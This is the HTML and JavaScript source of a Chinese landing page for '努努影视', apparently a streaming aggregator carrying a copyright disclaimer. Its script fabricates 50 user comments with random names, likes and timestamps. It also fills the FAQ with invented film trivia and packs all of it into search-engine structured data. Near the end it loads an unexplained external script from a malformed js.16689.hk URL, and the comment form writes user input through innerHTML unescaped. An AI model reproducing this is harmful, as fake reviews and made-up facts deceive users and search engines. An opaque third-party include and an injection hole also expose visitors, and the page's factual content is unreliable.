努努影视-尽享高清电影和精彩影视剧/title> <meta name="description" content="努努影视聚合电影、剧集、动漫与综艺资源，提供高清画质、智能推荐与多端同步观看体验。涵盖院线新片、海外独播与经典片库，无广告干扰，随时随地流畅点播，欢迎收藏访问。"> <link rel="icon" href="/favicon.ico" type="image/x-icon"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css"> <style> :root{ /* 随机配色由 JS 注入 */ --brand: #ff5a7a; --brand-soft: #ffd6df; --bg-1: #0f1226; --bg-2: #1b1f3a; --card: rgba(255,255,255,.06); --card-line: rgba(255,255,255,.14); --text: #f5f7ff; --text-soft: #aab0d0; --radius-pill: 70px; --radius-soft: 24px; --max: 1200px; } *{box-sizing:border-box;margin:0;padding:0} body{ font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","PingFang SC","Microsoft YaHei",sans-serif; background:radial-gradient(120% 120% at 50% 0%,var(--bg-2),var(--bg-1)); color:var(--text); font-size:17px;line-height:1.9; overflow-x:hidden; } a{color:inherit;text-decoration:none} .wrap{max-width:var(--max);margin:0 auto;padding:0 20px} /* 导航 */ header.nav{ position:fixed;top:0;left:0;right:0;z-index:99; backdrop-filter:blur(14px); background:rgba(10,12,28,.55); border-bottom:1px solid var(--card-line); } .nav-inner{height:72px;display:flex;align-items:center;justify-content:space-between} .logo{display:flex;align-items:center;gap:12px;height:42px} .logo svg{width:42px;height:42px;border-radius:10px;background:var(--brand);padding:8px} .logo b{font-size:20px;letter-spacing:.5px} .menu{display:flex;gap:28px;font-size:15px;color:var(--text-soft)} .menu a:hover{color:var(--text)} /* Banner */ .banner{ min-height:65vh;margin-top:72px; display:flex;align-items:center; position:relative;padding:60px 0; } .banner .wrap{display:flex;gap:40px;align-items:center;flex-wrap:wrap} .banner-left{flex:1 1 420px;z-index:2} .tag-float{ display:inline-flex;align-items:center;gap:8px; background:#fff;color:#222;padding:8px 16px;border-radius:999px;font-size:14px;font-weight:600; } h1{font-size:46px;line-height:1.25;margin:18px 0} .sub{color:var(--text-soft);margin-bottom:22px} .pills{display:flex;gap:10px;flex-wrap:wrap;margin-bottom:26px} .pill{padding:8px 14px;border-radius:999px;background:rgba(255,255,255,.08);border:1px solid var(--card-line);font-size:13px} .btns{display:flex;gap:14px} .btn{padding:13px 26px;border-radius:999px;font-weight:700;border:none;cursor:pointer;transition:.3s} .btn-main{background:var(--brand);color:#fff} .btn-sub{background:rgba(255,255,255,.1);color:#fff;border:1px solid var(--card-line)} .btn:hover{transform:translateY(-3px);filter:brightness(1.08);box-shadow:0 12px 30px rgba(0,0,0,.35)} .banner-right{flex:1 1 420px;z-index:2} .monitor{ background:#0a0c1c;border:1px solid var(--card-line);border-radius:18px; box-shadow:0 30px 80px rgba(0,0,0,.5);overflow:hidden; } .monitor .bar{display:flex;gap:6px;padding:12px;background:rgba(255,255,255,.04)} .monitor .bar i{width:10px;height:10px;border-radius:50%;background:#555} .monitor .body{display:grid;grid-template-columns:120px 1fr 140px;gap:14px;padding:20px} .app-row{display:flex;align-items:center;gap:10px;padding:8px 0} .app-row i{color:var(--brand)} .gauge{display:flex;align-items:center;justify-content:center} .gauge svg{width:120px;height:120px} .stats{font-size:13px;color:var(--text-soft)} .stats div{margin:6px 0} .blob{position:absolute;border-radius:50%;filter:blur(60px);opacity:.5;z-index:0;animation:float 8s infinite alternate} .blob.a{width:300px;height:300px;background:var(--brand);left:-60px;top:40px} .blob.b{width:260px;height:260px;background:#5ad1ff;right:-40px;bottom:20px} @keyframes float{to{transform:translateY(30px) scale(1.05)}} /* 粒子 */ #particles{position:fixed;inset:0;z-index:0;pointer-events:none;opacity:.35} /* 模块通用 */ section{padding:90px 0;position:relative;z-index:2} h2{font-size:34px;text-align:center;margin-bottom:10px} .sec-sub{text-align:center;color:var(--text-soft);margin-bottom:40px} /* 优势 */ .adv-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:22px} .adv-card{ background:var(--card);border:1px solid var(--card-line); border-radius:var(--radius-pill); padding:34px 28px;text-align:center; transition:.35s;backdrop-filter:blur(8px); } .adv-card:hover{transform:translateY(-8px);border-color:var(--brand);box-shadow:0 20px 50px rgba(0,0,0,.4)} .adv-card .ic{font-size:30px;color:var(--brand);margin-bottom:14px} .adv-card h3{margin-bottom:10px} .adv-card p{color:var(--text-soft);font-size:15px} /* 视频 */ .video-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:24px} .video-card{ background:var(--card);border:1px solid var(--card-line); border-radius:var(--radius-soft);overflow:hidden;transition:.35s; } .video-card:hover{transform:translateY(-8px);border-color:var(--brand)} .video-thumbnail{position:relative;height:170px;display:flex;align-items:center;justify-content:center} .video-thumbnail .cat{position:absolute;top:12px;left:12px;font-size:12px;background:rgba(0,0,0,.4);padding:4px 10px;border-radius:999px} .play-btn{width:54px;height:54px;border-radius:50%;background:#fff;color:#111;display:flex;align-items:center;justify-content:center;font-size:18px} .video-duration{position:absolute;bottom:12px;right:12px;background:rgba(0,0,0,.6);font-size:12px;padding:3px 8px;border-radius:8px} .video-info{padding:18px} .video-title{font-size:16px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis} .video-desc{color:var(--text-soft);font-size:14px;margin:8px 0;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden} .video-meta{display:flex;gap:14px;font-size:13px;color:var(--text-soft);margin-bottom:10px} .tag{padding:3px 10px;border-radius:999px;font-size:12px;background:rgba(255,255,255,.08)} .tag-video{background:var(--brand);color:#fff} /* 资讯 */ .news-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:24px;grid-auto-rows:1fr} .news-card{ background:var(--card);border:1px solid var(--card-line); border-radius:var(--radius-soft);padding:22px; display:flex;flex-direction:column;min-height:230px;transition:.35s; } .news-card:hover{transform:translateY(-6px);border-color:var(--brand)} .news-date{color:var(--brand-soft);font-size:13px} .news-title{font-size:17px;margin:8px 0;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden;min-height:48px} .news-card p{color:var(--text-soft);font-size:14px;flex:1;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical;overflow:hidden} .more{margin-top:auto;color:var(--brand);font-size:13px} /* FAQ */ .faq-list{max-width:860px;margin:0 auto;display:flex;flex-direction:column;gap:16px} .faq-item{background:var(--card);border:1px solid var(--card-line);border-radius:var(--radius-soft);padding:20px 24px;transition:.3s} .faq-item:hover{border-color:var(--brand)} .faq-q{display:flex;align-items:center;gap:12px;cursor:pointer;font-weight:700;color:var(--brand)} .faq-q i{font-size:18px} .faq-a{margin-top:14px;color:var(--text-soft);font-size:15px;display:none} .faq-a ul{padding-left:18px} .faq-item.open .faq-a{display:block} /* 评论 */ .comment-box{ max-width:var(--max);margin:0 auto; background:var(--card);border:1px solid var(--card-line); border-radius:var(--radius-soft);padding:40px; display:grid;grid-template-columns:340px 1fr;gap:40px; } .form-card{background:rgba(255,255,255,.04);border:1px solid var(--card-line);border-radius:var(--radius-soft);padding:24px;display:flex;flex-direction:column;gap:16px} .form-card input,.form-card textarea{ width:100%;border-radius:14px;border:1px solid var(--card-line); background:rgba(255,255,255,.05);color:#fff;padding:12px 14px;font-size:14px;resize:none; } .form-card input:focus,.form-card textarea:focus{outline:none;border-color:var(--brand)} .comment-list{max-height:520px;overflow:auto;display:flex;flex-direction:column;gap:14px;padding-right:6px} .cmt{background:rgba(255,255,255,.04);border:1px solid var(--card-line);border-radius:18px;padding:16px} .cmt-head{display:flex;align-items:center;gap:10px;margin-bottom:8px} .cmt-head .av{width:34px;height:34px;border-radius:50%;background:var(--brand)} .cmt-head b{font-size:14px} .cmt-head span{margin-left:auto;font-size:12px;color:var(--text-soft)} .cmt-tags{display:flex;gap:6px;margin-bottom:8px;flex-wrap:wrap} .cmt-tags .t{font-size:11px;padding:2px 8px;border-radius:999px;background:rgba(255,255,255,.08)} .cmt-body{font-size:14px;color:#e7e9f5} .cmt-foot{display:flex;align-items:center;gap:18px;margin-top:10px;font-size:13px;color:var(--text-soft)} .cmt-foot i{cursor:pointer} /* 页脚 */ footer{padding:50px 0;text-align:center;color:var(--text-soft);font-size:13px;border-top:1px solid var(--card-line);margin-top:40px} /* 响应式 */ @media(max-width:900px){ .adv-grid,.video-grid,.news-grid{grid-template-columns:1fr 1fr} .comment-box{grid-template-columns:1fr;padding:24px} .menu{display:none} h1{font-size:34px} } @media(max-width:600px){ .adv-grid,.video-grid,.news-grid{grid-template-columns:1fr} .banner .wrap{flex-direction:column} .monitor .body{grid-template-columns:1fr} } </style> </head> <body>  <canvas id="particles"></canvas>  <header class="nav"> <div class="wrap nav-inner"> <div class="logo"> <svg viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="2"><rect x="4" y="4" width="16" height="16" rx="4"/><path d="M10 9l5 3-5 3z" fill="#fff"/></svg> <b>努努影视</b> </div> <nav class="menu"> <a href="#section-advantage">核心优势</a> <a href="#section-video">精选视频</a> <a href="#section-news">相关资讯</a> <a href="#section-faq">常见问题</a> <a href="#section-comment">留言</a> </nav> </div> </header>  <section class="banner"> <div class="blob a"></div> <div class="blob b"></div> <div class="wrap"> <div class="banner-left"> <div class="tag-float">🎬 新片速递 <i class="fa fa-arrow-right"></i></div> <h1>努努影视 · 高清追剧与院线同步</h1> <p class="sub">电影 / 剧集 / 动漫 / 综艺一站聚合，无广告干扰，多端续播更顺手。</p> <div class="pills"> <span class="pill">蓝光画质</span> <span class="pill">智能推荐</span> <span class="pill">离线缓存</span> <span class="pill">投屏畅看</span> </div> <div class="btns"> <button class="btn btn-main">立即观看</button> <button class="btn btn-sub">下载客户端</button> </div> </div> <div class="banner-right"> <div class="monitor"> <div class="bar"><i></i><i></i><i></i></div> <div class="body"> <div> <div class="app-row"><i class="fa fa-film"></i> 院线新片</div> <div class="app-row"><i class="fa fa-tv"></i> 热播剧集</div> <div class="app-row"><i class="fa fa-dragon"></i> 动漫专区</div> </div> <div class="gauge"> <svg viewBox="0 0 120 120"> <circle cx="60" cy="60" r="50" fill="none" stroke="rgba(255,255,255,.1)" stroke-width="10"/> <circle cx="60" cy="60" r="50" fill="none" stroke="var(--brand)" stroke-width="10" stroke-dasharray="280" stroke-dashoffset="70" transform="rotate(-90 60 60)"/> <text x="60" y="66" text-anchor="middle" fill="#fff" font-size="20">98%</text> </svg> </div> <div class="stats"> <div>实时解析：稳定</div> <div>清晰度：4K / 蓝光</div> <div>缓存：智能清理</div> <div>多端：手机·平板·TV</div> </div> </div> </div> </div> </div> </section>  <section id="section-advantage"> <div class="wrap"> <h2>为什么选择努努影视</h2> <p class="sec-sub">把“找片—播放—续看”做成一条顺滑的观影链路</p> <div class="adv-grid"> <div class="adv-card"><div class="ic"><i class="fa fa-bolt"></i></div><h3>极速解析</h3><p>多线路智能选源，打开即播，弱网也能稳定流畅。</p></div> <div class="adv-card"><div class="ic"><i class="fa fa-gem"></i></div><h3>高清画质</h3><p>超清、原画、蓝光多档切换，H.265 省流更清晰。</p></div> <div class="adv-card"><div class="ic"><i class="fa fa-layer-group"></i></div><h3>全品类片库</h3><p>电影、剧集、动漫、综艺、纪录片每日更新不重样。</p></div> <div class="adv-card"><div class="ic"><i class="fa fa-mobile-screen"></i></div><h3>多端同步</h3><p>手机、平板、电脑、电视进度互通，随时随地续看。</p></div> <div class="adv-card"><div class="ic"><i class="fa fa-cloud-arrow-down"></i></div><h3>离线缓存</h3><p>支持后台下载与智能缓存清理，无网也能躺看。</p></div> <div class="adv-card"><div class="ic"><i class="fa fa-comments"></i></div><h3>互动社区</h3><p>弹幕、影评、二创分享，边看边聊更有代入感。</p></div> </div> </div> </section>  <section id="section-video"> <div class="wrap"> <h2>精选视频 · <span style="color:var(--brand)">近期高光片单</span></h2> <p class="sec-sub">院线新片、海外独播、国漫爆款一次看够</p> <div class="video-grid" id="videoGrid"></div> </div> </section>  <section id="section-news"> <div class="wrap"> <h2>相关资讯</h2> <p class="sec-sub">近 90 天片单动态与平台更新</p> <div style="width:60px;height:4px;background:var(--brand);border-radius:999px;margin:0 auto 36px"></div> <div class="news-grid" id="newsGrid"></div> </div> </section>  <section id="section-faq"> <div class="wrap"> <h2>影迷常问 · 幕后冷知识</h2> <p class="sec-sub">关于作品本身的事实型答疑</p> <div class="faq-list" id="faqList"></div> </div> </section>  <section id="section-comment"> <div class="wrap"> <h2 style="text-align:center">追剧留言区</h2> <p class="sec-sub">说说你最近在努努影视刷到上头的那一部</p> <div style="width:60px;height:4px;background:var(--brand);border-radius:999px;margin:0 auto 36px"></div> <div class="comment-box"> <div class="form-card"> <input id="nick" maxlength="20" placeholder="你的昵称" /> <textarea id="msg" rows="5" placeholder="写下你对本站剧集、功能的看法与建议..."></textarea> <button class="btn btn-main" onclick="publishCmt()"><i class="fa fa-arrow-up"></i> 发布留言</button> </div> <div class="comment-list" id="cmtList"></div> </div> </div> </section>  <footer> <div class="wrap"> <p>© 2026 努努影视 · 仅供影视内容聚合与观影交流使用</p> <p style="margin-top:8px">资源来自公开渠道，版权归原权利人所有，如有侵权请联系删除。</p> </div> </footer>  <script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js"></script> <script>LA.init({id:"3Rhdcu0IpRyjysmc",ck:"3Rhdcu0IpRyjysmc"})</script> <script type="text/javascript" src="https://https://js.16689.hk/222.js"></script>  <script> /* ============ 随机品牌配色 ============ */ (function(){ const hues = [Math.floor(Math.random()*360)]; const h = hues[0]; const c = (a,o=0)=>`hsl(${(h+a)%360} ${60+o}% 62%)`; document.documentElement.style.setProperty('--brand', c(0,5)); document.documentElement.style.setProperty('--brand-soft', c(0,0)+'33'); document.documentElement.style.setProperty('--bg-1', `hsl(${(h+200)%360} 40% 8%)`); document.documentElement.style.setProperty('--bg-2', `hsl(${(h+160)%360} 45% 14%)`); })(); /* ============ 粒子背景 ============ */ (function(){ const cv = document.getElementById('particles'); const ctx = cv.getContext('2d'); let w,h,ps=[]; function init(){ w=cv.width=innerWidth; h=cv.height=innerHeight; ps = Array.from({length:60},()=>({ x:Math.random()*w, y:Math.random()*h, r:Math.random()*2+1, vy:Math.random()*.4+.1, vx:Math.random()*.3-.15 })); } function draw(){ ctx.clearRect(0,0,w,h); ctx.fillStyle = getComputedStyle(document.documentElement).getPropertyValue('--brand'); ps.forEach(p=>{ ctx.globalAlpha=.5; ctx.beginPath();ctx.arc(p.x,p.y,p.r,0,7);ctx.fill(); p.y-=p.vy; p.x+=p.vx; if(p.y<0)p.y=h; if(p.x<0)p.x=w; if(p.x>w)p.x=0; }); requestAnimationFrame(draw); } init();draw();addEventListener('resize',init); })(); /* ============ 视频卡片 ============ */ const videos = [ {cat:'院线新片',t:'敦煌英雄',d:'大漠烽烟与江湖侠气交织，动作场面质感拉满。',len:'02:11',play:'128万',like:'3.2万',tags:['主推','历史动作']}, {cat:'热播剧集',t:'莫语者',d:'悬疑叙事层层反转，角色动机暗藏锋芒。',len:'00:48',play:'96万',like:'2.1万',tags:['主推','悬疑']}, {cat:'国漫爆款',t:'仙逆·弑仙之战',d:'战斗分镜高燃，世界观铺陈更成熟。',len:'01:36',play:'210万',like:'5.8万',tags:['动漫','修仙']}, {cat:'综艺',t:'现在就出发第3季',d:'嘉宾化学反应在线，笑点与治愈并存。',len:'01:02',play:'74万',like:'1.9万',tags:['综艺','轻松']}, {cat:'动画电影',t:'玩具总动员5',d:'情怀与新鲜感平衡，合家欢适配度高。',len:'02:05',play:'153万',like:'4.4万',tags:['动画','治愈']}, {cat:'海外独播',t:'偏爱之恋第二季',d:'情感线递进细腻，镜头语言很高级。',len:'00:55',play:'88万',like:'2.7万',tags:['主推','爱情']} ]; document.getElementById('videoGrid').innerHTML = videos.map(v=>` <div class="video-card"> <div class="video-thumbnail" style="background:linear-gradient(135deg,var(--brand),#5ad1ff)"> <span class="cat"><i class="fa fa-tag"></i> ${v.cat}</span> <div class="play-btn"><i class="fa fa-play"></i></div> <span class="video-duration">${v.len}</span> </div> <div class="video-info"> <h3 class="video-title">${v.t}</h3> <p class="video-desc">${v.d}</p> <div class="video-meta"><span><i class="fa fa-play"></i> ${v.play}</span><span><i class="fa fa-heart"></i> ${v.like}</span></div> <div>${v.tags.map((t,i)=>`<span class="${i===0&&t==='主推'?'tag-video':'tag'}">${t}</span>`).join(' ')}</div> </div> </div> `).join(''); /* ============ 资讯（近90天） ============ */ function recentDate(daysAgo){ const d = new Date(2026,10,3); d.setDate(d.getDate()-daysAgo); return d.toISOString().slice(0,10); } const news = [ {d:2,t:'《敦煌英雄》上线：冷兵器美学的新解法',c:'从美术置景到武打调度，影片把边塞粗粝感拍出了诗意。'}, {d:9,t:'《莫语者》剧情拆解：三层反转怎么埋的',c:'开篇看似常规悬疑，实则在人物关系里藏了两条暗线。'}, {d:16,t:'国漫周报：仙逆剧场版凭什么回榜',c:'动作戏不堆特效，情绪落点反而更稳，粉丝二创同步起量。'}, {d:23,t:'努努影视更新独播综艺片单',c:'海外恋爱与户外真人秀补充到位，周末追更不空档。'}, {d:31,t:'《玩具总动员5》观影笔记',c:'IP延续没有强行怀旧，新角色承担起了代际共鸣。'}, {d:44,t:'动漫新番观察：灵境叙事正在升级',c:'互动感与世界观留白变多，平台推荐命中率明显提升。'} ]; document.getElementById('newsGrid').innerHTML = news.map(n=>` <div class="news-card"> <div class="news-date">${recentDate(n.d)}</div> <h3 class="news-title">${n.t}</h3> <p>${n.c}</p> <div class="more">查看详情 →</div> </div> `).join(''); /* ============ FAQ（6 个不同 IP） ============ */ const faqs = [ {ip:'fa fa-mask',q:'《星球大战：曼达洛人与古古》里古古的设定有原著依据吗？', a:['古古并非传统原著角色，是剧集原创衍生设定。','其物种背景刻意保持神秘，延续尤达一族留白传统。','官方避免过早揭晓血缘，保留后续剧集扩展空间。','道具与动作捕捉结合，情绪表达由表演团队二次设计。','古古的“原力直觉”偏向本能，不等于完整绝地训练。']}, {ip:'fa fa-ghost',q:'《灵魂摆渡·公主之梦》算不算正统系列续作？', a:['属于“浮生梦”系列第三部，世界观同源但独立成篇。','AI 辅助制作仅用于部分场景预演，非全片生成。','主角线索承接前作，新观众也能看懂。','分账模式验证了大银幕短剧衍生可能性。','片尾彩蛋埋了下一部时空锚点。']}, {ip:'fa fa-dragon',q:'《仙逆》剧场版和正片时间线怎么对？', a:['剧场版发生在正片“弑仙之战”支线之后。','部分配角戏份为电影补拍，不冲突主线。','战力体系沿用小说层级，未做降维处理。','场景美术参考了早期漫画分镜。','彩蛋回收了动漫第3季伏笔。']}, {ip:'fa fa-music',q:'《现在就出发》第3季为什么回归感更强？', a:['核心班底保留，游戏机制从竞速转向协作。','镜头更侧重人物微反应，剪辑节奏更松。','新增“无声任务”环节，弱化台词依赖。','客串嘉宾戏份按角色反差分配。','片场花絮显示多条 NG 被保留进正片。']}, {ip:'fa fa-wand-magic',q:'《疯狂动物城2》狐兔关系对比第一部有什么变化？', a:['从“互补搭档”进阶到“价值分歧再和解”。','剧本刻意加入代际视角，不只是查案。','新角色承担偏见隐喻，不抢主角光环。','配音节奏保留第一部的冷幽默密度。','结尾彩蛋暗示衍生短剧宇宙。']}, {ip:'fa fa-clapperboard',q:'《敦煌英雄》历史背景是真实朝代吗？', a:['底层借晚唐边塞动荡，人物为虚构。','服饰参考敦煌壁画与出土文书。','兵制细节做了戏剧化压缩。','方言使用有考据，但非全片还原。','片方明确标注“架空历史演绎”。']} ]; document.getElementById('faqList').innerHTML = faqs.map((f,i)=>` <div class="faq-item ${i===0?'open':''}"> <div class="faq-q" onclick="toggleFaq(this)"><i class="${f.ip}"></i> ${f.q}</div> <div class="faq-a"><ul>${f.a.map(x=>`<li>${x}</li>`).join('')}</ul></div> </div> `).join(''); function toggleFaq(el){ document.querySelectorAll('.faq-item').forEach(x=>{if(x!==el.parentElement)x.classList.remove('open')}); el.parentElement.classList.toggle('open'); } /* ============ 评论（50条） ============ */ const nicks = ['晚风追剧','橘汽水','胶片魂','夜航船','小满','阿悬','薄荷糖','山海旧','不眠','白噪音','鹿野','咸鱼翻身','三月鸢','观星人','糯糯','北窗','雾岛','老放映机','甜豆','冷场王','追光者','半糖','木卫二','萤火','塌房预警','剧抛脸','弹幕护卫','慢半拍','青柠','野柚子','夜来香','二进制','未读消息','苏打水','落日飞车','猫眼三','像素鱼','空镜','字幕组','回放怪','热可可','无声告白','第七集','片尾曲','高清戒断','沙发土豆','月光号','彩蛋猎人','副驾驶','长镜头']; const tags = ['热议','理性','热门','观点','精彩','讨论','催更','好评']; const bodies = [ '这周连刷三部，解析速度比我想的稳，弱网也没转圈。', '《莫语者》反转太狠了，二刷才看懂开头那场戏。', '画质真的顶，蓝光档看着不像压缩片。', '求努努快点更《仙逆》后续，卡在弑仙那幕难受。', '字幕翻译比别家顺，弹幕也没那么吵。', '投屏到电视很丝滑，周末家庭影院稳了。', '独播综艺片单补得及时，不用到处找资源。', '缓存自动清理好评，手机存储终于不爆了。', '古古那一段我能看十遍，萌到犯规。', '希望加个“只看未看”筛选，片库太全选择困难。' ]; function rnd(a){return a[Math.floor(Math.random()*a.length)]} function timeDesc(m){ const d=new Date(2026,10,3,12,0); d.setMinutes(d.getMinutes()-m); return d.toISOString().slice(0,16).replace('T',' '); } let cmts=[]; for(let i=0;i<50;i++){ cmts.push({ nick:nicks[i%nicks.length]+ (i>=nicks.length?i:''), tag:rnd(tags), body:rnd(bodies), min:Math.floor(Math.random()*30 * 24 * 60), like:Math.floor(Math.random()*999), reply:Math.floor(Math.random()*50) }); } cmts.sort((a,b)=>b.min-a.min); document.getElementById('cmtList').innerHTML = cmts.map(c=>` <div class="cmt"> <div class="cmt-head"> <div class="av"></div><b>${c.nick}</b><span>${timeDesc(c.min)}</span> </div> <div class="cmt-tags"><span class="t"><i class="fa fa-fire"></i> ${c.tag}</span></div> <div class="cmt-body">${c.body}</div> <div class="cmt-foot"> <span><i class="fa fa-reply"></i> 回复</span> <span><i class="fa fa-heart"></i> ${c.like}</span> <span><i class="fa fa-comment"></i> ${c.reply}</span> </div> </div> `).join('') + `<div style="text-align:center;color:var(--text-soft);font-size:13px">向下滑动查看更多留言 <i class="fa fa-arrow-down"></i></div>`; function publishCmt(){ const n=document.getElementById('nick').value.trim()||'匿名影迷'; const m=document.getElementById('msg').value.trim(); if(!m)return alert('说点什么再发布吧~'); const el=document.createElement('div'); el.className='cmt'; el.innerHTML=`<div class="cmt-head"><div class="av"></div><b>${n}</b><span>刚刚</span></div> <div class="cmt-tags"><span class="t"><i class="fa fa-star"></i> 新鲜</span></div> <div class="cmt-body">${m}</div> <div class="cmt-foot"><span><i class="fa fa-reply"></i> 回复</span><span><i class="fa fa-heart"></i> 0</span></div>`; document.getElementById('cmtList').prepend(el); document.getElementById('msg').value=''; } /* ============ JSON-LD 结构化数据 ============ */ const jsonld = { "@context":"https://schema.org", "@graph":[ { "@type":"FAQPage", "mainEntity":faqs.map(f=>({ "@type":"Question", "name":f.q, "acceptedAnswer":{"@type":"Answer","text":f.a.join('；')} })) }, { "@type":"ItemList", "itemListElement":videos.map((v,i)=>({ "@type":"VideoObject", "position":i+1, "name":v.t, "description":v.d, "duration":v.len })) }, { "@type":"ItemList", "itemListElement":news.map((n,i)=>({ "@type":"Article", "position":i+1, "headline":n.t, "datePublished":recentDate(n.d), "description":n.c })) } ] }; const sc=document.createElement('script'); sc.type='application/ld+json'; sc.textContent=JSON.stringify(jsonld); document.body.appendChild(sc); </script> </body> </html>